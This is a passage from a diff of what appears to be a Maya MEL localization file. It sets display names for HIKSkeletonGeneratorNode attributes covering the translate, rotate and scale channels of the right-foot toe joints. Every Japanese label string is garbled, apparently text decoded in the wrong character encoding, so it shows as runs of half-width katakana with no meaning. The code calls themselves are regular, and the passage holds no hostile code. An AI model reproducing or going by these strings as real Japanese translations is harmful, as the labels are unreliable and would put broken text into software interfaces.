"RightFootThumb3S", "モメスナエヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Sx", "モメスナエヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Sy", "モメスナエヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Sz", "モメスナエヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4T", "モメスナエヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Tx", "モメスナエヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Ty", "モメスナエヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Tz", "モメスナエヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4R", "モメスナエヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Rx", "モメスナエヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Ry", "モメスナエヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Rz", "モメスナエヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4S", "モメスナエヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Sx", "モメスナエヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Sy", "モメスナエヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Sz", "モメスナエヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1T", "モメスナカヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Tx", "モメスナカヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Ty", "モメスナカヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Tz", "モメスナカヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1R", "モメスナカヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Rx", "モメスナカヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Ry", "モメスナカヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Rz", "モメスナカヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1S", "モメスナカヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Sx", "モメスナカヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Sy", "モメスナカヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Sz", "モメスナカヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2T", "モメスナカヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Tx", "モメスナカヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Ty", "モメスナカヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Tz", "モメスナカヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2R", "モメスナカヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Rx", "モメスナカヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Ry", "モメスナカヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Rz", "モメスナカヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2S", "モメスナカヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Sx", "モメスナカヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Sy", "モメスナカヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Sz", "モメスナカヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3T", "モメスナカヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Tx", "モメスナカヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Ty", "モメスナカヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Tz", "モメスナカヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3R", "モメスナカヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Rx", "モメスナカヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Ry", "モメスナカヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Rz", "モメスナカヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3S", "モメスナカヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Sx", "モメスナカヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Sy", "モメスナカヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Sz", "モメスナカヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4T", "モメスナカヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Tx", "モメスナカヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Ty", "モメスナカヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Tz", "モメスナカヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4R", "モメスナカヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Rx", "モメスナカヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Ry", "モメスナカヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Rz", "モメスナカヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4S", "モメスナカヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Sx", "モメスナカヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Sy", "モメスナカヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Sz", "モメスナカヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1T", "モメスナヨミヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Tx", "モメスナヨミヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Ty", "モメスナヨミヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Tz", "モメスナヨミヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1R", "モメスナヨミヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Rx", "モメスナヨミヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Ry", "モメスナヨミヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Rz", "モメスナヨミヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1S", "モメスナヨミヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Sx", "モメスナヨミヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Sy", "モメスナヨミヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Sz", "モメスナヨミヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2T", "モメスナヨミヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Tx", "モメスナヨミヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Ty", "モメスナヨミヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Tz", "モメスナヨミヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2R", "モメスナヨミヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Rx", "モメスナヨミヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Ry", "モメスナヨミヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Rz", "モメスナヨミヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2S", "モメスナヨミヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Sx", "モメスナヨミヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Sy", "モメスナヨミヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Sz", "モメスナヨミヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3T", "モメスナヨミヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Tx", "モメスナヨミヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Ty", "モメスナヨミヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Tz", "モメスナヨミヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3R", "モメスナヨミヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Rx", "モメスナヨミヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Ry", "モメスナヨミヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Rz", "モメスナヨミヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3S", "モメスナヨミヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Sx", "モメスナヨミヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Sy", "モメスナヨミヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Sz", "モメスナヨミヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4T", "モメスナヨミヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Tx", "モメスナヨミヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Ty", "モメスナヨミヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Tz", "モメスナヨミヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4R", "モメスナヨミヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Rx", "モメスナヨミヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Ry", "モメスナヨミヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Rz", "モメスナヨミヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4S", "モメスナヨミヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Sx", "モメスナヨミヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Sy", "モメスナヨミヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Sz", "モメスナヨミヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1T", "モメスナヒトヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Tx", "モメスナヒトヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Ty", "モメスナヒトヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Tz", "モメスナヒトヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1R", "モメスナヒトヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Rx", "モメスナヒトヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Ry", "モメスナヒトヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Rz", "モメスナヒトヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1S", "モメスナヒトヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Sx", "モメスナヒトヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Sy", "モメスナヒトヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Sz", "モメスナヒトヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2T", "モメスナヒトヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Tx", "モメスナヒトヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Ty", "モメスナヒトヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Tz", "モメスナヒトヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2R", "モメスナヒトヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Rx", "モメスナヒトヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Ry", "モメスナヒトヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Rz", "モメスナヒトヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2S", "モメスナヒトヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Sx", "モメスナヒトヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Sy", "モメスナヒトヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Sz", "モメスナヒトヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3T", "モメスナヒトヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Tx", "モメスナヒトヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Ty", "モメスナヒトヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Tz", "モメスナヒトヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3R", "モメスナヒトヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Rx", "モメスナヒトヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Ry", "モメスナヒトヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Rz", "モメスナヒトヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3S", "モメスナヒトヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Sx", "モメスナヒトヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Sy", "モメスナヒトヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Sz", "モメスナヒトヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4T", "モメスナヒトヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Tx", "モメスナヒトヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Ty", "モメスナヒトヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Tz", "モメスナヒトヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4R", "モメスナヒトヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Rx", "モメスナヒトヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Ry", "モメスナヒトヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Rz", "モメスナヒトヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4S", "モメスナヒトヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Sx", "モメスナヒトヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Sy", "モメスナヒトヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Sz", "モメスナヒトヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1T", "モメスナミ。ヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Tx", "モメスナミ。ヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Ty", "モメスナミ。ヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Tz", "モメスナミ。ヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1R", "モメスナミ。ヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Rx", "モメスナミ。ヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Ry", "モメスナミ。ヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Rz", "モメスナミ。ヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1S", "モメスナミ。ヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Sx", "モメスナミ。ヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Sy", "モメスナミ。ヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Sz", "モメスナミ。ヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2T", "モメスナミ。ヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Tx", "モメスナミ。ヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Ty", "モメスナミ。ヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Tz", "モメスナミ。ヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2R", "モメスナミ。ヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Rx", "モメスナミ。ヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Ry", "モメスナミ。ヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Rz", "モメスナミ。ヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2S", "モメスナミ。ヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Sx", "モメスナミ。ヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Sy", "モメスナミ。ヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Sz", "モメスナミ。ヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3T", "モメスナミ。ヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Tx", "モメスナミ。ヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Ty", "モメスナミ。ヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Tz", "モメスナミ。ヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3R", "モメスナミ。ヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Rx", "モメスナミ。ヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Ry", "モメスナミ。ヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Rz", "モメスナミ。ヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3S", "モメスナミ。ヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Sx", "モメスナミ。ヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Sy", "モメスナミ。ヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Sz", "モメスナミ。ヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4T", "モメスナミ。ヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Tx", "モメスナミ。ヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Ty", "モメスナミ。ヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Tz", "モメスナミ。ヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4R", "モメスナミ。ヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Rx", "モメスナミ。ヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Ry", "モメスナミ。ヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Rz", "モメスナミ。ヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4S", "モメスナミ。ヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Sx", "モメスナミ。ヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Sy", "モメスナミ。ヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Sz", "モメスナミ。ヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1T", "モメスナチヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Tx", "モメスナチヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Ty", "モメスナチヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Tz", "モメスナチヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1R", "モメスナチヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Rx", "モメスナチヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Ry", "モメスナチヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Rz", "モメスナチヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1S", "モメスナチヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Sx", "モメスナチヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Sy", "モメスナチヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger1Sz", "モメスナチヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2T", "モメスナチヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Tx", "モメスナチヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Ty", "モメスナチヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Tz", "モメスナチヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2R", "モメスナチヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Rx", "モメスナチヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Ry", "モメスナチヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootExtraFinger2Rz", "モメスナチヨコ 2 ミラェz" ); 